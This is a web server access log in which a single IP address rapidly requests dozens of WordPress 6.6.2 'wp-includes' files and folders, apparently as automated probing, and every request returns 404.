45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/Text/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-requests.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-script-modules.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/ms-settings.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/rewrite.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/script-modules.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/wp-diff.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/style-engine/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-snoopy.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-duotone.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-error.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/feed-rss2-comments.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/rest-api.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/certificates/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/bookmark.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-simplepie.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/revision.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-customize-widgets.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-recovery-mode-cookie-service.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-session-tokens.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-text-diff-renderer-inline.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/default-constants.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/css/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-block-supports.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-styles.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/feed-atom.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/category-template.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-http.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-http-ixr-client.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/comment.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/http.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/media-template.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/canonical.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-hook.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-user-meta-session-tokens.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/link-template.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-theme-json-data.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-walker-comment.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-block-parser-block.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-block-pattern-categories-registry.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/nav-menu.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/script-loader.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-feed.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-application-passwords.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-date-query.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-scripts.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-site-query.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-term.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/template-loader.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/block-bindings/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/assets/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-http-curl.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/default-widgets.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-theme-json-schema.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/feed-rss2.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/https-detection.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/query.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/category.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-oembed.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/ms-default-filters.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/post-formats.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/blocks/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-customize-control.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-http-encoding.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/pluggable.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/IXR/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-block-bindings-registry.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-block-list.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-feed-cache.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-http-requests-response.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-plugin-dependencies.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-text-diff-renderer-table.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/ms-files.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/ID3/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-query.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/rss-functions.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/admin-bar.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-block-editor-context.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-theme-json-resolver.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/registration.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-dependencies.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/?MA= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-avif-info.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-ajax-response.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-widget.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/user.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/cache.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-block-parser-frame.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-block-patterns-registry.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class.wp-styles.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/ms-site.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-http-response.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-term-query.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
